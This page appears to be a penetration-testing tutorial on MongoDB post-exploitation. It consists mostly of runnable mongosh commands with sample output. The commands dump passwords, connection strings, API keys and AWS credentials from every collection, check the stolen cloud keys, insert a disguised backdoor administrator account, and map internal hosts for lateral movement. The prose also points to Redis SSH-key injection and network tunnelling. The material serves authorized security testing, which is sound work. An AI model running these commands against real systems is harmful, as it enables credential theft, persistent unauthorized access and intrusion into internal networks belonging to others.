# MongoDB Loot and Pivot

- **URL:** https://hackindex.io/services/mongodb/post-exploitation/mongodb-post-exploitation-loot-and-pivot
- **Path:** MongoDB > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/mongodb/post-exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

Post-exploitation on MongoDB focuses on converting database access into broader impact. Application collections frequently contain credentials reusable across other services, connection strings to additional databases, API keys for cloud platforms, and SSH keys stored by configuration management tools. The database is often the pivot point to the rest of the internal infrastructure. Key loot categories:

- Application credentials reusable across other services
- Connection strings to internal databases, Redis, and message queues
- API keys and cloud credentials (AWS, GCP, Azure)
- SSH keys and deployment secrets

## Extract Application Credentials for Reuse

Application user collections store credentials in formats usable for login on the web application and sometimes reused on other services:

```bash
mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
  if (["local","config"].includes(d.name)) return;
  db.getSiblingDB(d.name).getCollectionNames().forEach(function(c) {
    var doc = db.getSiblingDB(d.name)[c].findOne({password:{$exists:true}});
    if (doc) print("["+d.name+"."+c+"] "+JSON.stringify(doc));
  });
})'
# [appdb.users] {"username":"admin","password":"$2b$12$LQv...","email":"admin@company.com"}
# [appdb.users] {"username":"deploy","password":"Deploy@2024!","email":"deploy@company.com"}
```

Plaintext passwords found in collections (common in older or poorly maintained applications) should be tested immediately against SSH, other web applications, and any other services discovered on the target network. Hashed passwords go to hashcat.

## Find Connection Strings to Other Services

Application configuration sometimes stored in MongoDB contains connection strings to other databases, message queues, and APIs:

```bash
mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
  db.getSiblingDB(d.name).getCollectionNames().forEach(function(c) {
    var doc = db.getSiblingDB(d.name)[c].findOne({$or:[{connectionString:{$exists:true}},{dsn:{$exists:true}},{redis_url:{$exists:true}},{database_url:{$exists:true}}]});
    if (doc) print(d.name+"."+c+": "+JSON.stringify(doc));
  });
})'
# appdb.config: {"redis_url":"redis://:RedisP@ss!@10.10.10.51:6379","db_url":"postgres://appuser:pgpass@10.10.10.52:5432/appdb"}
```

Connection strings reveal other internal services and their credentials. A Redis connection string often means an unauthenticated or weakly authenticated Redis instance on the internal network: a direct pivot to shell via `CONFIG SET dir` and `CONFIG SET dbfilename` SSH key injection.

## Extract API Keys and Cloud Credentials

```bash
mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
  db.getSiblingDB(d.name).getCollectionNames().forEach(function(c) {
    var doc = db.getSiblingDB(d.name)[c].findOne({$or:[{api_key:{$exists:true}},{aws_access_key:{$exists:true}},{secret_key:{$exists:true}},{token:{$exists:true}}]});
    if (doc) print(d.name+"."+c+": "+JSON.stringify(doc));
  });
})'
# appdb.integrations: {"service":"aws","aws_access_key":"AKIA...","secret_key":"wJalr..."}
# appdb.api_tokens: {"user":"admin","token":"sk-prod-xK2aB1cD3eF4","scope":"admin"}
```

```bash
export AWS_ACCESS_KEY_ID='AKIA...' AWS_SECRET_ACCESS_KEY='wJalr...' && aws sts get-caller-identity
```

## Pivot via Injected Admin User

When write access is confirmed, inject a backdoor admin account into the application's users collection. This provides persistent web application access independent of the database connection:

```bash
mongosh $TARGET_IP:27017/appdb --quiet --eval '
var bcrypt_hash = "$2b$12$somethingyouprecomputed";
db.users.insertOne({
  username: "support_backup",
  password: bcrypt_hash,
  email: "support@company.com",
  role: "administrator",
  created: new Date()
})'
```

> [!WARNING]
> Document all inserted records precisely for remediation reporting. Clean up injected accounts immediately after the assessment unless explicitly agreed otherwise with the client.

## Enumerate Internal Network from MongoDB Host

When MongoDB is reachable from inside the network, use connection string data and host info to map additional internal targets:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.hostInfo().system.hostname)'
# db-server-01.internal.company.com
```

```bash
mongosh $TARGET_IP:27017 --quiet --eval '
var cfg = db.getSiblingDB("appdb").config.findOne();
if (cfg) printjson(cfg);'
# {
#   redis_url: 'redis://:RedisP@ss!@10.10.10.51:6379',
#   postgres_url: 'postgres://appuser:pgpass@10.10.10.52:5432/appdb',
#   smtp_host: 'mail.internal.company.com',
#   s3_bucket: 'company-prod-backups'
# }
```

Internal hostnames and IPs extracted from config collections map the internal network without any scanning. Test each discovered service credential from Kali directly: Redis at 10.10.10.51, PostgreSQL at 10.10.10.52: to confirm lateral movement paths. Use chisel or ligolo-ng for tunneling if the services are not directly reachable, covered in the [pivoting guide](https://hackindex.io/services/web/lateral-movement/pivoting-from-web-to-internal).

## References

- [MongoDB: mongodump](https://www.mongodb.com/docs/database-tools/mongodump/) - Full database dump including system collections and user credentials
